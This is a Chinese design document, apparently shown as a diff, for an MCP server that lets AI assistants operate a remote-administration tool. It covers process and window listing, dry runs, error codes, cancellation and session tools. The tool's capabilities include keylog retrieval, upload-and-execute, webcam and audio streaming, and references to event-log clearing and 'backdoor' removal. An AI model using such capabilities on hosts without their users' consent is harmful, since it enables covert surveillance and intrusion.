### 5.3 【P0】`list_processes` / `list_windows` 增加服务端过滤
**问题**:`BuildPagedHostListInputSchema` 只有 `{id, limit, offset}`(`McpServer.cpp:776`,调用点在 `:1477` 等)。一台正常 Windows 有 200–400 个进程、几十个窗口,模型要翻 3–4 页才能找到目标;每页都是完整字段,上下文开销很大。
**做法**:加可选 `name`(进程名/窗口标题子串,ASCII 不区分大小写)与 `pid`,在服务端分页**之前**过滤,`total` 为命中数、`totalAll` 为总数。口径照抄 `BuildSearchHosts`(`McpServer.cpp:1878-1887`):
```cpp
ApplyPageWindow(matched, page, pageItems);
if (filtered) page.totalAll = (int)all.size(); // 过滤前总数
```
**收益**:`list_processes(name="chrome")` 从 3 页变 1 条;两套工具族的能力也对齐了(`host_list_*` 本来就有这两个参数)。
### 5.4 【P1】`power_action` 增加结果验证
**问题**:`power_action` 是「发完即走、无响应」(`McpServer.cpp:5812` 附近注释),返回 `ok:true` 只代表**命令写进了 socket**。模型会误以为「已重启」,紧接着调 `list_processes` 却拿到旧进程列表。
**做法**:加 `wait`(默认 `false`)与 `wait_ms`(默认 60000):
- `wait=true`:轮询主连接是否断开 → 再轮询是否重新上线,返回 `{sent:true, went_offline:true, came_back:true, elapsed_ms}`;
- 超时不算失败,返回 `came_back:false` 让模型自己决定。
### 5.5 【P1】破坏性工具统一 `dry_run`
`kill_network_connection` 有 `dry_run`(实测报告「观察项」明确肯定了这个设计),但 `kill_process`、`operate_window(close)`、`host_control_*` 都没有。建议统一:`dry_run=true` 时只做「目标存在性校验 + 返回将被影响的对象」,不执行。
对 AI 尤其重要:模型可以在执行前把「我要杀这 3 个进程」摆给用户看。
### 5.6 【P2,收益被初稿高估】错误码:`-32008` 其实只有两种语义
> **初稿的错误**:原文说 `-32008` 一码四义(含「老客户端格式」「多显示器不支持」)。核对后全文件只有两处
> `-32008`:`exec_command` 的 shell 元字符(`McpServer.cpp:2901`)与 `terminal_exec` 的 `&`/`|`/换行
> (`McpServer.cpp:3465`)——**两者都是「改参数可修」**。多显示器早就改成 `-32005` 了,代码注释明说
> 「这是能力限制、改参数也修不好」(`McpServer.cpp:3715`)。能力类错误已经统一走 `-32005`。
因此拆分只剩一个干净的诉求:把「参数非法」从 `-32008` 换成 MCP 语义更准确的 `-32012`。
| 新码 | 语义 | 模型动作 |
|---|---|---|
| `-32012` | Validation rejected(参数非法,改参数可修) | 修参数重试 |
`-32008` 保留为历史别名(不破坏既有客户端与已发布的文档)。这是一次纯常量替换,收益是让模型
不必读英文 message 就能区分「改参数」与「换主机」,但**优先级低于 P0 各项**。
### 5.7 【P1】写工具的 ack 语义显式化
现状:`delete_path` / `move_path` / `create_folder` / `kill_process` / `operate_window` / `control_service` 的 ack 都是**客户端无条件回包**,不代表操作成功。
两条路,建议都做:
1. **文档层**:`outputSchema` 里加 `verified: bool`(可为 `null`)与 `verify_hint: string`("call list_files on the parent directory to confirm");
2. **实现层**(低成本高收益):`delete_path` / `move_path` 在收到 ack 后,**在同一个子连接上**再补一次 `COMMAND_LIST_FILES` 校验父目录,把 `verified` 填成真实结果。注意不是"多开一次子连接":子连接还开着,客户端收到 finish 后就在等下一条命令,所以代价只是同一连接上的一次往返(约 50–150ms)。实现要点是重新登记一个 `list_files` 挂起(`BeginPending(devId, "list_files", path)`,`McpServer.cpp:7795` 已有该重载),再直接 `Send2Client`;`TOKEN_FILE_LIST` 的现有 case 会在投递结果后 `CancelIO` 收尾,正好完成清场。校验本身失败(超时/连接断)时 `verified` 返回 `null`,**不要谎报 false**。
彻底的做法是客户端补 `TOKEN_FILE_OP_ERROR`(带 win32 码),归入 §4.1 的 P12 批次。
### 5.8 【P1】`initialize` 返回 `instructions`
**问题**:模型对这套服务端的「隐性知识」全靠工具描述拼凑:主机 id 是 64 位雪花值(不能猜)、要先 `list_online_hosts` 再操作、`-32003` 是单设备单飞行、`-32006` 不要重试、远程控制要先 `remote_open` 拿 `session_id`。`Mcp_Design.md` 把这些写在文档里,但**模型看不到文档**。
**做法**:`initialize` 响应里加 `instructions`(纯文本,建议 600–900 字),内容:
1. 主机 id 的获取方式与形态(禁止猜测);
2. 工具族与开关关系(哪些工具可能不在 `tools/list` 里,为什么);
3. 错误码 → 动作的对照(只列 6 个高频码);
4. 典型任务编排(文件整理、进程排查、GUI 自动化各一段);
5. 「同一主机同时只能有一个远程请求」的约束。
**收益**:这是**单点投入、全局收益**的改动——所有客户端的每一次会话都受益,且零风险。优先级应当排在所有新工具之前。
### 5.9 【P2】`notifications/progress` 与 `notifications/cancelled`
**问题**:
- `download_file` 默认超时 600s、`upload_file` / `copy_files_c2c` 同类、`search_file` 最长 120s、`chat_wait` 最长 55s。这段时间里客户端**收不到任何信号**,模型和用户都以为卡死。
- 客户端取消请求(用户按 Esc / 关闭会话)时,服务端**不会中止**正在进行的传输,主机会被锁到超时为止(实测报告 P2 的 600 秒锁定就是这类后果)。
**做法**:
- 长任务在 `tools/call` 的 `_meta.progressToken` 存在时,按 1–2 秒节流推送 `notifications/progress`(`progress` = 已传字节 / 总字节);
- 维护「进行中的请求 → 会话」映射,收到 `notifications/cancelled` 时走既有的清理路径(清 pending、关子连接、删半成品文件)。
这两项都在 `McpServer.cpp` 的 HTTP 处理器层,**不动任何工具实现**。
### 5.10 【P2】会话可观测与自救
`-32003 Device busy` 现在是死路:模型不知道是谁占着这台主机、也不知道等多久。建议加两个纯服务端工具:
| 工具 | 作用 |
|---|---|
| `mcp_list_sessions` | 列出所有在飞会话:`{host_id, tool, session_id, started_at, idle_ms, kind}` |
| `mcp_cancel_session` | 按 `session_id` 强制中止(等价于 `notifications/cancelled` 的内部路径) |
`-32003` 的 message 里带上「当前占用者与已持续时间」,模型就能自己决定「等」还是「取消」。
### 5.11 【P2】`tools/list` 体积
54 个工具、每个都带完整中文描述 + 双 schema。实测**工具描述与属性说明文本合计约 23 KB**(54 条 `description` + 158 条 schema 属性说明),叠加 JSON 结构与 schema 骨架后,`tools/list` 响应实际在 **45–60 KB** 量级。
对 200K 上下文的模型不算致命,但对小上下文客户端(8K–32K)会挤占绝大部分预算,且**每轮对话都要重传**(多数客户端不缓存)。
三个可选做法(不建议同时上):
1. **精简描述**(推荐):把「实现细节、限制、已知问题」从 `description` 移到 `instructions` 或工具文档,`description` 只保留「做什么 + 关键约束」一两句。可省 30–40%。
2. **工具族合并**:`host_list_processes` … `host_get_hosts_file` 这 10 个合并为 `host_list(tab, id, limit, offset)`。省 9 个工具、约 20% 体积,代价是 `annotations` 与 `outputSchema` 变粗(10 个 tab 的条目结构不同),**discoverability 也会下降**——模型看到 `tab` 枚举才知道有哪些能力。**不建议**。
3. **可配置 profile**:`McpToolProfile=full|compact`,compact 只出 `name + 一句话 + 必填参数`。适合小模型客户端,但要维护两套描述。
### 5.12 【P2】`control_service` 的逐项 `Sleep(500)`
`client/ServicesManager.cpp:213` 的 `ServicesConfig` 对每一项 `Sleep(500)` 后再回列表。批量控制 10 个服务 = 至少 5 秒。服务端可以在 `action` 里支持 `items[]` 批量下发(一次子连接、一个 payload),把 N 次往返压成 1 次。**前提是确认客户端能解析多条目 payload**——按现有实现它只处理单条,需要客户端改动,因此列为 P2。
### 5.13 【P0,顺手修】`kToolHints` 表头注释过期
`McpInternal.cpp:367` 注释写「53 个工具的语义登记表」,实际数组 **54 项**。一行修复。
### 5.14 其他小项
| 项 | 位置 | 说明 |
|---|---|---|
| `list_windows` 无 `pid` 过滤 | `McpServer.cpp:2201` | 见 §5.3 |
| `search_file` 无深度/大小上限参数 | `McpServer.cpp:8050` | 客户端固定深度 32 / 10000 条,服务端可加 `max_depth` 但需客户端支持;暂不做 |
| `search_file` 的描述仍写着「会栈溢出」 | `McpServer.cpp:1850` | 客户端侧已于 8f718d9 修复,描述与 `tools/mcp_smoke.ps1` 的注释都过期,应一并更正 |
| `get_screenshot` 无区域裁剪 | `McpServer.cpp:2085` | 有 `max_width`;ROI 需客户端改动,收益有限,不做 |
| 审计不含调用参数 | `Mcp_Design.md §10.8` | 有意设计(防泄漏),维持 |
| `chat_wait` 会取走 inbox | `McpInternal.cpp:431` | 已正确标注非幂等,无需改 |
---
## 6. 批次与验收建议
| 批次 | 内容 | 客户端改动 | 预估规模 | 验收方式 |
|---|---|---|---|---|
| **P10-A(优化,先做)** | `instructions`、`capabilities`、`list_*` 过滤、`get_keylog` 离线开关与状态、工具族互指、`kToolHints` 注释、`search_file` 过期描述 | 无 | 服务端 ~450 行 | 冒烟断言 `instructions` 非空;`capabilities` 与平台一致;`list_processes(name=...)` 命中数 < 全量且 `totalAll` 正确;`get_keylog.offlineRecord` 与实际 `kbrecord` 一致 |
| **P10-B** | `delete_path` / `move_path` / `create_folder` + `McpFileWrite` 开关 + 系统目录保护 + §2.3 的三处接线 + `verified` 复核 | 无 | ~700 行 | 冒烟新增:建目录→传文件→改名→删除→删目录→越界拒绝;中文路径 + 超长路径各一条;超时后确认**不弹**文件管理器窗口 |
| **P10-C** | `remote_block_input`(含强制解锁与超时自动解锁) | 无 | ~200 行 | 会话内 block→截图对比→unblock;`remote_close` 后确认已解锁 |
| **P11(已完成 2026-10-28,见附录 D)** | `power_action` 验证、`dry_run` 统一、`-32012`、progress/cancelled、`mcp_list_sessions` | 无 | ~700 行 | 长任务 progress 回调计数 > 0;取消后主机 1s 内释放(`get_server_status` 可查) |
| **P12** | 注册表写、事件日志、进程模块/启动项、`TOKEN_FILE_OP_ERROR`、`DeleteDirectory` 的路径长度防御 | **需要** | 客户端 + 服务端 | 单独设计文档 |
| **独立立项** | 代理隧道、客户端升级、摄像头/语音 | 视方案 | 大 | 单独安全评审 |
**建议顺序**:P10-A → P10-B → P10-C → P11,**每批独立提交**。
理由:P10-A 全是**几十行代码换全局体验**的改动(能力自述 + 使用说明 + 描述互指),先落地能立刻降低后续所有工具的试错率,且几乎不引入回归风险;P10-B 是最大的功能缺口,但涉及删除语义,需要更充分的测试与开关灰度;P10-C 小而独立,可随时插入。
---
## 7. 明确不做(本轮)
| 项 | 理由 |
|---|---|
| 剪贴板只读 | 常含口令/令牌/私钥,「读即泄密」,且客户端无只读链路(维持 `Mcp_Design.md §10.7`) |
| 上传执行 / 下载执行 | 等价任意代码执行,与 `McpCmdWhitelist` 逐条加白的安全模型冲突 |
| 写 hosts 文件 | `CREATE_ALWAYS` 整文件覆盖 + 无回包,误操作导致目标机 DNS 全断 |
| 卸载软件 | `WinExec` 卸载串,无回包、可能弹 UAC 阻塞,无法确认结果 |
| 清除事件日志 / 隐藏开网页 / 卸载后门 | 当前 Windows 客户端**未实现**这些命令(死命令) |
| `Ctrl+Alt+Del` / 黑屏 | 客户端未实现,需客户端改动 |
| 10 个 `host_list_*` 合并为 1 个 | 体积收益 20%,discoverability 损失更大(见 §5.11) |
---
## 附录 A:本轮核对过的客户端命令清单
Windows 客户端**已实现**、可作为新工具基础、MCP 尚未使用:
```
COMMAND_DELETE_FILE → TOKEN_DELETE_FINISH client/file/FileManager.cpp:97
COMMAND_DELETE_DIRECTORY → TOKEN_DELETE_FINISH client/file/FileManager.cpp:106
COMMAND_CREATE_FOLDER → TOKEN_CREATEFOLDER_FINISH client/file/FileManager.cpp:116
COMMAND_RENAME_FILE → TOKEN_RENAME_FINISH client/file/FileManager.cpp:119
COMMAND_HOSTS_SET → (无回包, 整文件覆盖) client/MachineManager.cpp:318
COMMAND_APPUNINSTALL → (无回包, WinExec) client/MachineManager.cpp:160
COMMAND_SCREEN_BLOCK_INPUT → (无回包, 2 字节) client/ScreenManager.cpp:1198
COMMAND_KEYBOARD_OFFLINE → (无回包, 2 字节) client/KeyboardManager.cpp:125
COMMAND_KEYBOARD_CLEAR → (无回包, 1 字节) client/KeyboardManager.cpp:131
COMMAND_UPDATE → 升级链路 client/KernelManager.cpp:1466
COMMAND_UPLOAD_EXEC → 执行上传文件 client/KernelManager.cpp:880
COMMAND_PROXY → 端口转发 client/KernelManager.cpp:1039
COMMAND_SCREEN_WINDOW / _ROI → 流式窗口/区域捕获 client/ScreenManager.cpp:894 / :886
COMMAND_WEBCAM / COMMAND_AUDIO→ 流式音视频 client/KernelManager.cpp:1399 / :1414
```
> 已排除 `COMMAND_PROCESS_FREEZING` / `COMMAND_PROCESS_THAW`——它们**已被 `host_control_process` 使用**
> (`McpMachine.cpp:2107`),不属于缺口。
**定义了但 Windows 客户端未实现**(不可用):`COMMAND_CLEAN_EVENT`、`COMMAND_OPEN_URL_HIDE`、`COMMAND_OPEN_URL_SHOW`、`COMMAND_REMOVE`、`COMMAND_SCREEN_CTRL_ALT_DEL`、`COMMAND_SCREEN_BLANK`。
---
## 附录 B:本轮核对过的关键代码位置
| 主题 | 位置 |
|---|---|
| 工具注解登记表(54 项) | `server/2015Remote/McpInternal.cpp:368` |
| `tools/list` 构造 | `server/2015Remote/McpServer.cpp:1408` |
| `initialize` 结果构造 / HTTP 方法分派 | `McpServer.cpp:46` `BuildInitializeResult` / `:7622` 起 |
| 主机技术字段补全 | `server/2015Remote/McpServer.cpp:2018` `AppendHostTechnicalDetail` |
| 文件链路(列目录/搜索/下载) | `McpServer.cpp:2419` / `:8050` / `:6430` |
| 机器管理写工具范式 | `McpMachine.cpp:2531` `AddTool` / `:2127` `host_control_process` |
| `power_action`(发完即走) | `McpServer.cpp:5812` |
| `get_keylog`(固定窗口) | `McpServer.cpp:1558` / `:5985` |
| 配置键全集 | `2015RemoteDlg.cpp:2416` 起 + `McpSettingsDlg.cpp:227` / `:383` |
| 错误码表 | `docs/Mcp_Design.md §12` |
| 已修问题与实测 | `docs/Mcp_Test_Report_2026-10-25.md §0` |
---
## 附录 C:服务端接线点(P10-B 施工前必读)
MCP 子连接的分包路由有三层,新增一个「用子连接完成一次写操作」的工具时,**必须三处都改**,
少改任何一处都会出现「命令发不出去」「子连接泄漏」或「弹 MFC 窗口」:
| 层 | 位置 | 作用 | 不改的后果 |
|---|---|---|---|
| 1. 就绪包分流 | `McpServer::OnDriveList`(`McpServer.cpp:7832`) | 子连接建好后的第一个包(`TOKEN_DRIVE_LIST`)到达;按 `tool` 决定下发什么 | 沿用「空 path = 只列盘」判定 → 写命令永远发不出去,工具超时 |
| 2. 完成包投递 | `CMy2015RemoteDlg::MessageHandle`(`2015RemoteDlg.cpp:6003` 的 switch) | 三个 `TOKEN_*_FINISH` 目前无 case | 落到 `default:` 只打日志、不关子连接 → 子连接泄漏 + 工具等到超时 |
| 3. 迟到吸收 | `CMcpServer::MarkLateFirstPacketForTool`(`McpServer.cpp:7760`) | 工具放弃后吸收迟到的就绪包 | 目标机上**弹出 MCP 自己触发的文件管理器窗口** |
另一处相关:`NotifyProc`(`2015RemoteDlg.cpp:5581`)在 `ContextObject->hDlg` 非空时把包转给对话框,
MCP 路径的 `hDlg` 恒为 `NULL`,所以第 2 层一定会命中——这一点已核对,不是假设。
配置开关的接线也是三处:读取(`2015RemoteDlg.cpp:2416` 块)、对话框回填(`McpSettingsDlg.cpp:227`)、
落盘(`McpSettingsDlg.cpp:383`)。对话框是**纯代码构建**的(`McpSettingsDlg.cpp:128-186`),
插入一个 checkbox 需要重排其下所有控件的 y 坐标与窗口高度。
---
## 附录 D:P11 施工记录(2026-10-28)
零客户端改动,全部落在服务端(`McpServer.cpp` / `McpServer.h` / `McpMachine.cpp` /
`McpChat.cpp` / `McpInternal.{h,cpp}`)。
### D.1 `power_action` 的结果验证(§5.4)
- 新入参 `wait`(bool,默认 false)与 `wait_ms`(1000–600000,默认 60000),`wait_ms` 是
「等离线」与「等回线」**各自**的时限;`wait=false` 时也会校验 `wait_ms` 的取值范围。
- 输出从 `{ok}` 扩展为 `{ok, sent, went_offline, came_back, elapsed_ms}`:
`sent` 恒为 true(命令写进 socket),`went_offline` / `came_back` 由主连接的出现/消失判定
(`FindMainContext`,200ms 轮询),`elapsed_ms` 为整次调用的耗时。
- **超时不是错误**:`wait=true` 但没等到离线/回线时仍返回 `ok:true` 并在正文里写清「仍在
线」或「已离线但未回线」,让模型据此决定是否再等,而不是把「没等到」当成失败重试。
- `logout` 之后主机不会自动回线(需要人工登录),正文单独提示。
### D.2 破坏性工具统一 `dry_run`(§5.5)
| 工具 | `dry_run=true` 时的行为 |
|---|---|
| `kill_process` | 只取一次进程列表,回 `{ok, dry_run, targets:[{pid,name,path}], missing:[pid...]}`,**不下发终止命令**;一个都匹配不到返回 `-32009` |
| `operate_window` | 只取一次窗口列表,回 `{ok, dry_run, action, window}`;窗口不存在返回 `-32009` |
| `host_control_process` / `_window` / `_service` / `_task` | 只做目标存在性校验,回 `{ok, dry_run, action, target, state, detail}`(detail 是被影响对象的原始字段) |
实现要点:dry run 的挂起项以 `"<tool>/dryrun"` 登记,`OnSystemReady` 只认 `kill_process` /
`operate_window` 两个**精确**工具名,因此不会误发后续写命令;迟到首包仍按既有逻辑吸收。
### D.3 `-32012` 与 `-32008` 别名(§5.6)
- 两个真实站点(`exec_command` 的 shell 元字符、`terminal_exec` 的 `&`/`|`/换行)改为
`McpInternal::kErrValidation = -32012`;`kErrValidationOld = -32008` 保留为历史别名,不再新增使用。
- `initialize.instructions` 的错误码表与 `docs/Mcp_Design.md §12` 同步;`-32800` 一并登记。
### D.4 `notifications/progress` 与 `notifications/cancelled`(§5.9)
**传输**:本服务端原本每个 POST 只回一个 JSON。带 `params._meta.progressToken` 的 `tools/call`
改走 MCP Streamable HTTP 允许的 `text/event-stream`(同一个 POST):
1. 工具在独立线程执行,`McpCallContext` 经 FLS(Fiber Local Storage)暴露给工具实现
——**不能用 `thread_local`**:本工程有 shellcode/MemoryModule 手工映射出来的线程,没有
PE 的 TLS 初始化,加一个静态 `thread_local` 就会让服务端启动约 1s 后跳飞(实测);
2. 进度通知与最终响应都从这个 SSE 流写出(`McpProgressChannel`,背压队列上限 64 条,
满了丢最旧——进度是「最新值有意义」的信号);
3. 不带 token 的请求完全不变(一次性 JSON)。
**进度上报点**(`McpCallProgress`,内部 1s 节流):
| 工具 | 进度含义 |
|---|---|
| `download_file` | `filesDone / (totalFiles - directoryCount)`;总量未知时退回已收字节数 |
| `upload_file` | 已发数据字节 / 待发数据字节总数(在 worker 的分块回调里累加) |
| `copy_files_c2c` | 源端只在最后回一包结果,因此不报中间进度;取消/超时按既有路径收尾 |
| `search_file` | 命中数在客户端,服务端只在收尾时报一次结果(见下) |
| `chat_wait` | 等待期无中间量,取消即时生效 |
**取消**:三条入口共用一个取消位(`McpCallContext::cancelled`)
- `notifications/cancelled`(`params.requestId` 按 JSON-RPC id 精确匹配,字符串与数字不混用);
- `mcp_cancel_session`(按 request_id / host id / session_id);
- SSE 流写失败(客户端已断开)。
所有长等待都改成「≤500ms 一片 + 每片检查取消位」(`WaitWithCancel`),取消后直接落到各函数
**既有的超时/放弃分支**:`MarkLateFirstPacketForTool` 照登、子连接照关、挂起项照删。因此取消
不需要第二套清理逻辑,也满足「取消后主机 1s 内释放」。取消导致的失败结果由分发层统一改写成
`-32800`(已经拿到成功结果则照实返回)。
### D.5 `mcp_list_sessions` / `mcp_cancel_session`(§5.10)
- `mcp_list_sessions`:一次快照列出在飞 `tools/call`(含 JSON-RPC `request_id`)、挂起中的一次性
请求、终端、远程控制、文件传输、远程交谈;字段 `host_id/kind/tool/session_id/request_id/busy/
elapsed_ms/idle_ms`,可选 `kind` 过滤。纯本地,**不受功能开关与只读模式限制**。
- `mcp_cancel_session`:按 `request_id`(精确)或 `id`/`session_id`(条件)取消,返回
`{cancelled, released, waited_ms, matched}`;最多等 2s 让工具线程走完清理,`released` 说明
主机是否真的松开。
- `-32003` 的文案统一追加占用者:`Device busy: another request is pending for this host
(tool=download_file, elapsed=12s)`。`DescribeBusy` 会排除发起本次错误的那个调用自身。
### D.6 已知边界
- SSE 请求会占住 httplib 的一个 worker 线程直到工具结束(线程池 32);单机管理场景足够,
不作为多租户端点使用。
- `search_file` 被取消时返回**已收到的部分结果**(`finished=false`),不是 `-32800`:搜索是只读
累积操作,部分结果对调用方更有用;它同样在 ≤1s 内释放主机。
- `mcp_cancel_session` 找不到匹配项时返回 `cancelled:0`(不是错误)——请求可能已经结束,
或 `request_id` 的 JSON 类型与调用时不一致。
+486
View File
@@ -0,0 +1,486 @@
# YAMA MCP 功能开发技术书(Phase 2 及后续)
> **状态**:设计定稿(已按两轮评审修订);P2a、P2b 已实现并经真实主机验证(`search_hosts` / `get_host_detail` / `list_processes` / `list_windows` / `get_activity_history`);P2c 已实现(`get_screenshot` / `list_files`);P2d 已实现并验证(`list_services` / `get_client_log`)。
> **读者**:MCP 后续功能的研发/评审人员。
> **关联文档**:[Mcp_Design.md](./Mcp_Design.md)(Phase 1 的协议、架构、配置与菜单设计)。
> **核心目标**:让 MCP 从「单个只读工具」平滑演进为「分阶段、可回滚、影响面可控」的工具集,**不一次性大改现有功能**。
---
## 1. 背景与目标
Phase 1 已跑通 MCP 最小闭环:`httplib` + JSON-RPC 2.0,单工具 `list_online_hosts`,静态 Bearer token,经「扩展 → MCP设置」对话框开启。目标是把 YAMA 服务端已有的主机管理能力(进程、窗口、终端、截图、文件等)**逐步**暴露为 MCP 工具,供 Claude Code 等 AI 助手以工具调用方式使用。
本技术书解决三个问题:
1. **做什么**——工具路线图与优先级(只读 → 安全写 → 会话)。
2. **怎么做**——复用现有协议,无头驱动、不弹对话框;**区分「主连接 RPC」与「子链接流式」两种模式**。
3. **怎么稳**——每个阶段独立可交付、可回滚,影响面小、可验收。
---
## 2. 现状回顾(Phase 1 已交付)
| 模块 | 文件 | 职责 |
|------|------|------|
| HTTP/JSON-RPC 分发 | `McpServer.h` / `McpServer.cpp` | `POST /mcp`;token 校验;`initialize`/`ping`/`tools/list`/`tools/call` |
| 工具序列化复用 | `HostJson.h` / `HostJson.cpp` | `BuildHostJson(ctx, clientMap)`,单主机 JSON(与 WebService 共用) |
| 配置对话框 | `McpSettingsDlg.h` / `.cpp` | 运行时构造对话框:enable/port/bind/token |
| 生命周期接入 | `2015RemoteDlg.cpp:2136-2162`(启动)、`3900-3906`(停止) | 随主对话框启停 |
| FRP 暴露 | `2015RemoteDlg.cpp:3269-3304` | MCP 端口仅在「启用 + 绑 `0.0.0.0`」时纳入 FRP |
关键结论:**MCP 未引入任何新第三方库**——`httplib`(HTTP)与 `jsoncpp`(JSON)均为项目既有依赖。
当前工具实现只有一个 dispatch 分支(`McpServer.cpp` 的 `BuildToolsCall`),新增工具的边际成本很低:**注册 `outputSchema` + 加一个 `tools/call` 分支**。
---
## 3. 设计原则(贯穿所有后续开发)
1. **只读优先,写操作单独评审**:延续 `Mcp_Design.md §1.3`。只读工具直接做;任何「改变被控端状态」的工具(命令执行、杀进程、传文件、控制)必须经安全评审 + 独立授权。
2. **复用现有协议,不新造命令**:一切数据获取/操控都走 `common/commands.h` 里既有的 `COMMAND_*`(服务端→客户端)与 `TOKEN_*`(客户端→服务端),不新增自定义命令。
3. **无头接管复用 Web 终端模式**:对话框只是 UI 外壳;MCP 复用 `WebService` 的挂起标记/接管模式,把数据接到 MCP 侧,**不弹框**。
4. **每阶段独立可交付、可回滚**:一个阶段 = 一批工具 + 对应验收;出错可单独 revert,不连坐。
5. **超时与清理是硬约束**:MCP 是 request/response,一次 `tools/call` 不能无限阻塞等数据;必须有超时、迟到回收、用完即关。
6. **输出 schema 先行**:每个工具先在 `tools/list` 里声明完整 `inputSchema`/`outputSchema`,AI 客户端据此决定何时调用、如何解析。
---
## 4. 核心机制:无头驱动(双模式)
> **本节是本技术书的关键**。此前设计把「进程/窗口/截图」误当作「子链接」,评审后纠正为:这些是**主连接 request/response**;真正走子链接的只有终端、完整屏幕、文件传输等大流量/持续流能力。两者实现机制不同,必须分开建模。
### 4.1 连接模型:主连接 vs 子链接
`common/commands.h` 定义了完整协议,分两层:
- **主连接**:客户端上线后与主控保持的长连接。承载心跳(`TOKEN_HEARTBEAT`)、命令下发,以及**轻量 request/response**——屏幕预览缩略图(`TOKEN_SCREEN_PREVIEW_RSP`)、历史活动(`TOKEN_REPORT_ACTIVITY`)等。响应以 `TOKEN_*` 回到主连接(捕获点见 §4.2)。
- **子链接**:屏幕、终端、文件传输、**进程/窗口列表**等功能,服务端下 `COMMAND_*` 后客户端**新建一条 TCP 子链接**回连,数据以 `TOKEN_*` 开头,作为一个**新的 `CONTEXT_OBJECT`** 进入分派。其中进程/窗口列表是**一次性子链接**(回一条 `TOKEN_PSLIST`/`TOKEN_WSLIST` 即关,见 §4.2 模式 A′),终端/屏幕/文件传输则是**持续流子链接**。
两者都由同一个 `MessageHandle(CONTEXT_OBJECT*)` 分派,靠 `ContextObject->GetClientID()` 关联到同一台主机。**判断一个 `TOKEN_*` 属于哪层,看它的数据落在哪个 context 上**:
| 证据 | 结论 |
|------|------|
| 客户端 `KernelManager.cpp:1156` `COMMAND_SYSTEM` → `new IOCPClient` 子链接 + `LoopProcessManager`;`SystemManager.cpp:75` `GetProcessList()` 里 `szBuffer[0]=TOKEN_PSLIST`,经子链接 `Send2Server` 回传 | 进程/窗口列表 = **一次性子链接**(主连接下 `COMMAND_SYSTEM`/`COMMAND_WSLIST`,子连接回 `TOKEN_PSLIST`/`TOKEN_WSLIST`) |
| `2015RemoteDlg.cpp:8527-8536`:`SendScreenPreviewRequest` 用 `ctx->Send2Client(...)`;响应 `TOKEN_SCREEN_PREVIEW_RSP` 在 `MessageHandle:6173` | 屏幕预览 = **主连接 RPC** |
| `WebService.cpp:1836-1900` + `2015RemoteDlg.cpp:6312-6351`:`COMMAND_SHELL` → 客户端建 shell 子上下文 → `TOKEN_SHELL_START`/`TOKEN_TERMINAL_START` | 终端 = **子链接** |
### 4.2 模式 A:主连接 RPC(截图 / 历史活动)
适用于:`get_screenshot`(屏幕预览)、`get_activity_history`(历史活动)。
```
MCP 工具 tools/call
└─► 主 context ctx = FindHost(device_id)
└─► ctx->Send2Client(COMMAND_*) // 主连接发 1 字节命令
客户端处理后在主连接回 TOKEN_*
└─► MessageHandle 收到 TOKEN_*(数据已在 ctx->InDeCompressedBuffer)
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeMainResponse(devId, ctx->GetBuffer(0), ctx->GetBufferLength()); // IO 线程同步拷贝
│ break; // 跳过 MFC 弹框(不 CancelIO,主连接不可关)
└─ 否则走原 MFC 路径(如打开历史活动对话框)
```
要点:
- **无子链接、无 subCtx**:数据就在主 context 缓冲里,MCP 只需在 `MessageHandle` 的对应 `TOKEN_*` 分支里**同步拷贝**到结果缓冲,再唤醒等待者。
- **不 CancelIO**:响应落在主连接上,关闭会断开整个主机会话;故拦截后仅 `TakeMainResponse` + `break`,主连接保持。
- **捕获点因工具而异(必须在 IO 线程同步拷贝)**:屏幕预览的 `TOKEN_SCREEN_PREVIEW_RSP` **直接读本消息的 `szBuffer`/`len`**(`2015RemoteDlg.cpp:6173-6185` 已在 case 内把 `szBuffer` 拷贝到堆消息再转主线程);历史活动的 `TOKEN_REPORT_ACTIVITY` 读 `GetBuffer(0)`(= `InDeCompressedBuffer`)。两者都是每 context 单消息缓冲,主连接 recv 循环处理完本条消息后即被覆盖,故拷贝必须发生在 `MessageHandle` 内部(IO 线程),不能异步等 UI 线程。
- **请求关联**:`get_screenshot` 有 `reqId`(`ScreenPreviewReq.reqId`)可丢弃过期响应;`get_activity_history` **无请求 id**,靠「每 host 单飞行」(见 §4.4)保证正确性。
### 4.2′ 模式 A′:一次性子链接(进程 / 窗口列表)
适用于:`list_processes`、`list_windows`。**这是本技术书相对原设计的重要纠正**:进程/窗口列表**不是**主连接 RPC,而是一次性子链接——`COMMAND_PSLIST` 在主连接上是空操作(客户端 `KernelManager::OnReceive` 无此 case),正确的触发命令是 `COMMAND_SYSTEM`(进程)/`COMMAND_WSLIST`(窗口)。
```
MCP 工具 tools/call
└─► 主 context ctx = FindHost(device_id)
└─► ctx->Send2Client(COMMAND_SYSTEM / COMMAND_WSLIST) // 主连接发 1 字节命令
客户端 KernelManager::OnReceive 收到后新建一条子链接(new IOCPClient,EnableSubConnAuth)
└─► 子链接 ConnectServer 后先发 TOKEN_CONN_AUTH(服务端 SetID 把 clientID 钉在子 context 上)
└─► CSystemManager 构造函数立即 Send2Server(TOKEN_PSLIST / TOKEN_WSLIST)
└─► MessageHandle 在【子 context】上收到 TOKEN_PSLIST / TOKEN_WSLIST(GetClientID()==主 host id)
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeMainResponse(devId, GetBuffer(0), GetBufferLength());
│ ContextObject->CancelIO(); // 用完即关一次性子链接(不关会泄漏)
│ break; // 跳过 WM_OPENSYSTEMDIALOG
└─ 否则 g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, ...) // MFC 路径
```
要点:
- **有子链接、有 subCtx**:数据落在子 context 上,非主 context。子 context 的 `GetClientID()` 已由 `TOKEN_CONN_AUTH`(`2015RemoteDlg.cpp:6291` 的 `SetID`)钉成主连接 clientID,故 `IsPending(devId)` 能与主 context 的 `device_id` 对上。
- **用完即关**:MCP 拦截后 `CancelIO()` 关闭子链接(客户端 IOCPClient 以 `exit_while_disconnect=true` 构造,会随断开退出);不关会泄漏子链接。
- **与 MFC 对话框可并存**:MCP 与 MFC 对话框**各自使用独立的子链接**(客户端每次 `COMMAND_SYSTEM`/`COMMAND_WSLIST` 都新建一条),因此两者互不阻塞——MCP 的一次性调用不会导致 MFC 无法查看进程/窗口,反之亦然。无请求 id 的串扰靠「每 host 单飞行」(§4.4)规避,而非「与 MFC 对话框互斥」。
- **编码**:进程名/路径按 clientType 判定(Windows=GBK/936、LNX/MAC=UTF-8,进程枚举走 A 接口不随 `CLIENT_CAP_UTF8` 转 UTF-8);窗口标题为客户端 UTF-8(按能力位 `CLIENT_CAP_UTF8` 判别,老客户端回落 CP936)。
- **请求关联**:无请求 id → 每 host 单飞行(§4.4)。
